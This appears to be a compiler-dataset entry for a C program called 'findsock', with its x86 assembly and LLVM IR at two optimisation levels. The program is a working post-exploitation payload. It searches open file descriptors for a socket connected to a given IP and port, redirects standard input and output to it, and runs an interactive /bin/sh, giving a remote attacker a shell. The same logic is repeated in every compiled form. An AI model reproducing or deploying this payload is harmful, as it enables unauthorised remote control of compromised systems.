#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
};
struct in_addr {
  int dummy;
};
typedef int /*<<< orphan*/ rsa;

/* Variables and functions */
scalar_t__ atoi(char *);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execl(char *, char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int getdtablesize();
int getpeername(int, struct sockaddr_in *, int *);
int /*<<< orphan*/ inet_ntoa(struct in_addr);
scalar_t__ ntohs(int /*<<< orphan*/);
int /*<<< orphan*/ printf(char *);
int /*<<< orphan*/ setsid();
scalar_t__ strncmp(char *, char *, int);
int /*<<< orphan*/ strncpy(char *, int /*<<< orphan*/, int);
int main(int argc, char **argv) {
  if (argc != 3) {
    printf("Usage: findsock ip port\n");
    exit(0);
  }
  char *sock_ip = argv[1];
  char *sock_port = argv[2];
  struct sockaddr_in rsa;
  struct sockaddr_in lsa;
  int size = sizeof(rsa);
  char remote_ip[30];
  int fd;
  for (fd = 3; fd < getdtablesize(); fd++) {
    if (getpeername(fd, &rsa, &size) != -1) {
      strncpy(remote_ip, inet_ntoa(*(struct in_addr *)&rsa.sin_addr.s_addr),
              30);
      if (strncmp(remote_ip, sock_ip, 30) == 0) {
        if ((int)ntohs(rsa.sin_port) == (int)atoi(sock_port)) {
          setsid();
          dup2(fd, 0);
          dup2(fd, 1);
          dup2(fd, 2);
          close(fd);
          execl("/bin/sh", "/bin/sh", "-i", NULL);
        }
      }
    }
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x80,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x3,-0x8(%rbp)
je     1206 <main+0x36>
lea    0xe06(%rip),%rdi
call   1080 <printf@plt>
xor    %edi,%edi
call   10d0 <exit@plt>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
mov    %rax,-0x18(%rbp)
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rax
mov    %rax,-0x20(%rbp)
movl   $0x8,-0x34(%rbp)
movl   $0x3,-0x64(%rbp)
mov    -0x64(%rbp),%eax
mov    %eax,-0x68(%rbp)
mov    $0x0,%al
call   10f0 <getdtablesize@plt>
mov    %eax,%ecx
mov    -0x68(%rbp),%eax
cmp    %ecx,%eax
jge    1327 <main+0x157>
mov    -0x64(%rbp),%edi
lea    -0x28(%rbp),%rsi
lea    -0x34(%rbp),%rdx
call   1060 <getpeername@plt>
cmp    $0xffffffff,%eax
je     1314 <main+0x144>
lea    -0x60(%rbp),%rax
mov    %rax,-0x70(%rbp)
mov    -0x24(%rbp),%edi
call   1050 <inet_ntoa@plt>
mov    -0x70(%rbp),%rdi
mov    %eax,%esi
mov    $0x1e,%edx
call   1030 <strncpy@plt>
lea    -0x60(%rbp),%rdi
mov    -0x18(%rbp),%rsi
mov    $0x1e,%edx
call   1040 <strncmp@plt>
cmp    $0x0,%rax
jne    130f <main+0x13f>
mov    -0x28(%rbp),%edi
call   10b0 <ntohs@plt>
mov    %eax,-0x74(%rbp)
mov    -0x20(%rbp),%rdi
call   10c0 <atoi@plt>
mov    %rax,%rcx
mov    -0x74(%rbp),%eax
cmp    %ecx,%eax
jne    130a <main+0x13a>
mov    $0x0,%al
call   10a0 <setsid@plt>
mov    -0x64(%rbp),%edi
xor    %esi,%esi
call   1070 <dup2@plt>
mov    -0x64(%rbp),%edi
mov    $0x1,%esi
call   1070 <dup2@plt>
mov    -0x64(%rbp),%edi
mov    $0x2,%esi
call   1070 <dup2@plt>
mov    -0x64(%rbp),%edi
call   1090 <close@plt>
lea    0xd22(%rip),%rsi
lea    0xd23(%rip),%rdx
xor    %eax,%eax
mov    %eax,%ecx
mov    %rsi,%rdi
call   10e0 <execl@plt>
jmp    130f <main+0x13f>
jmp    1314 <main+0x144>
jmp    1319 <main+0x149>
mov    -0x64(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x64(%rbp)
jmp    122c <main+0x5c>
mov    -0x4(%rbp),%eax
add    $0x80,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x48,%rsp
cmp    $0x3,%edi
jne    12f9 <main+0x129>
mov    0x8(%rsi),%r13
mov    0x10(%rsi),%rax
mov    %rax,0x18(%rsp)
movl   $0x8,0xc(%rsp)
xor    %eax,%eax
call   10f0 <getdtablesize@plt>
cmp    $0x4,%eax
jl     12e8 <main+0x118>
mov    $0x3,%ebp
lea    0x10(%rsp),%r15
lea    0xc(%rsp),%r12
lea    0x20(%rsp),%rbx
jmp    1242 <main+0x72>
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax)
add    $0x1,%ebp
xor    %eax,%eax
call   10f0 <getdtablesize@plt>
cmp    %eax,%ebp
jge    12e8 <main+0x118>
mov    %ebp,%edi
mov    %r15,%rsi
mov    %r12,%rdx
call   1070 <getpeername@plt>
cmp    $0xffffffff,%eax
je     1230 <main+0x60>
mov    0x14(%rsp),%edi
call   1060 <inet_ntoa@plt>
mov    %rbx,%rdi
mov    %eax,%esi
mov    $0x1e,%edx
call   1030 <strncpy@plt>
mov    %rbx,%rdi
mov    %r13,%rsi
mov    $0x1e,%edx
call   1040 <strncmp@plt>
test   %rax,%rax
jne    1230 <main+0x60>
mov    0x10(%rsp),%edi
call   10b0 <ntohs@plt>
mov    %rax,%r14
mov    0x18(%rsp),%rdi
call   10c0 <atoi@plt>
cmp    %eax,%r14d
jne    1230 <main+0x60>
xor    %eax,%eax
call   10a0 <setsid@plt>
mov    %ebp,%edi
xor    %esi,%esi
call   1080 <dup2@plt>
mov    %ebp,%edi
mov    $0x1,%esi
call   1080 <dup2@plt>
mov    %ebp,%edi
mov    $0x2,%esi
call   1080 <dup2@plt>
mov    %ebp,%edi
call   1090 <close@plt>
lea    0xd2e(%rip),%rdi
mov    %rdi,%rsi
lea    0xd2c(%rip),%rdx
xor    %ecx,%ecx
call   10e0 <execl@plt>
jmp    1230 <main+0x60>
xor    %eax,%eax
add    $0x48,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xd0b(%rip),%rdi
call   1050 <puts@plt>
xor    %edi,%edi
call   10d0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__ }
%struct.TYPE_2__ = type { i32 }
%struct.in_addr = type { i32 }
@.str = [25 x i8] c"Usage: findsock ip port\0A\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
@.str.2 = [3 x i8] c"-i\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca %struct.sockaddr_in
%9 = alloca %struct.sockaddr_in
%10 = alloca i32
%11 = alloca [30 x i8]
%12 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%13 = load i32, i32* %4
%14 = icmp ne i32 %13, 3
br i1 %14, label %15, label %18
15: ; preds = %2
%16 = call i32 @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0))
%17 = call i32 @exit(i32 0)
unreachable
18: ; preds = %2
%19 = load i8**, i8*** %5
%20 = getelementptr inbounds i8*, i8** %19, i64 1
%21 = load i8*, i8** %20
store i8* %21, i8** %6
%22 = load i8**, i8*** %5
%23 = getelementptr inbounds i8*, i8** %22, i64 2
%24 = load i8*, i8** %23
store i8* %24, i8** %7
store i32 8, i32* %10
store i32 3, i32* %12
br label %25
25: ; preds = %69, %18
%26 = load i32, i32* %12
%27 = call i32 (...) @getdtablesize()
%28 = icmp slt i32 %26, %27
br i1 %28, label %29, label %72
29: ; preds = %25
%30 = load i32, i32* %12
%31 = call i32 @getpeername(i32 %30, %struct.sockaddr_in* %8, i32* %10)
%32 = icmp ne i32 %31, -1
br i1 %32, label %33, label %68
33: ; preds = %29
%34 = getelementptr inbounds [30 x i8], [30 x i8]* %11, i64 0, i64 0
%35 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 1
%36 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %35, i32 0, i32 0
%37 = bitcast i32* %36 to %struct.in_addr*
%38 = getelementptr inbounds %struct.in_addr, %struct.in_addr* %37, i32 0, i32 0
%39 = load i32, i32* %38
%40 = call i32 @inet_ntoa(i32 %39)
%41 = call i32 @strncpy(i8* %34, i32 %40, i32 30)
%42 = getelementptr inbounds [30 x i8], [30 x i8]* %11, i64 0, i64 0
%43 = load i8*, i8** %6
%44 = call i64 @strncmp(i8* %42, i8* %43, i32 30)
%45 = icmp eq i64 %44, 0
br i1 %45, label %46, label %67
46: ; preds = %33
%47 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 0
%48 = load i32, i32* %47
%49 = call i64 @ntohs(i32 %48)
%50 = trunc i64 %49 to i32
%51 = load i8*, i8** %7
%52 = call i64 @atoi(i8* %51)
%53 = trunc i64 %52 to i32
%54 = icmp eq i32 %50, %53
br i1 %54, label %55, label %66
55: ; preds = %46
%56 = call i32 (...) @setsid()
%57 = load i32, i32* %12
%58 = call i32 @dup2(i32 %57, i32 0)
%59 = load i32, i32* %12
%60 = call i32 @dup2(i32 %59, i32 1)
%61 = load i32, i32* %12
%62 = call i32 @dup2(i32 %61, i32 2)
%63 = load i32, i32* %12
%64 = call i32 @close(i32 %63)
%65 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i32* null)
br label %66
66: ; preds = %55, %46
br label %67
67: ; preds = %66, %33
br label %68
68: ; preds = %67, %29
br label %69
69: ; preds = %68
%70 = load i32, i32* %12
%71 = add nsw i32 %70, 1
store i32 %71, i32* %12
br label %25
72: ; preds = %25
%73 = load i32, i32* %3
ret i32 %73
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__ }
%struct.TYPE_2__ = type { i32 }
@.str.1 = [8 x i8] c"/bin/sh\00"
@.str.2 = [3 x i8] c"-i\00"
@str = [24 x i8] c"Usage: findsock ip port\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.sockaddr_in
%4 = alloca i32
%5 = alloca [30 x i8]
%6 = icmp eq i32 %0, 3
br i1 %6, label %10, label %7
7: ; preds = %2
%8 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @str, i64 0, i64 0))
%9 = tail call i32 @exit(i32 0)
unreachable
10: ; preds = %2
%11 = getelementptr inbounds i8*, i8** %1, i64 1
%12 = load i8*, i8** %11
%13 = getelementptr inbounds i8*, i8** %1, i64 2
%14 = load i8*, i8** %13
%15 = bitcast %struct.sockaddr_in* %3 to i8*
%16 = bitcast i32* %4 to i8*
store i32 8, i32* %4
%17 = getelementptr inbounds [30 x i8], [30 x i8]* %5, i64 0, i64 0
%18 = call i32 (...) @getdtablesize()
%19 = icmp sgt i32 %18, 3
br i1 %19, label %20, label %51
20: ; preds = %10
%21 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1, i32 0
%22 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0
br label %23
23: ; preds = %20, %47
%24 = phi i32 [ 3, %20 ], [ %48, %47 ]
%25 = call i32 @getpeername(i32 %24, %struct.sockaddr_in* %3, i32* %4)
%26 = icmp eq i32 %25, -1
br i1 %26, label %47, label %27
27: ; preds = %23
%28 = load i32, i32* %21
%29 = call i32 @inet_ntoa(i32 %28)
%30 = call i32 @strncpy(i8* %17, i32 %29, i32 30)
%31 = call i64 @strncmp(i8* %17, i8* %12, i32 30)
%32 = icmp eq i64 %31, 0
br i1 %32, label %33, label %47
33: ; preds = %27
%34 = load i32, i32* %22
%35 = call i64 @ntohs(i32 %34)
%36 = trunc i64 %35 to i32
%37 = call i64 @atoi(i8* %14)
%38 = trunc i64 %37 to i32
%39 = icmp eq i32 %36, %38
br i1 %39, label %40, label %47
40: ; preds = %33
%41 = call i32 (...) @setsid()
%42 = call i32 @dup2(i32 %24, i32 0)
%43 = call i32 @dup2(i32 %24, i32 1)
%44 = call i32 @dup2(i32 %24, i32 2)
%45 = call i32 @close(i32 %24)
%46 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.2, i64 0, i64 0), i32* null)
br label %47
47: ; preds = %23, %33, %40, %27
%48 = add nuw nsw i32 %24, 1
%49 = call i32 (...) @getdtablesize()
%50 = icmp slt i32 %48, %49
br i1 %50, label %23, label %51
51: ; preds = %47, %10
ret i32 0
}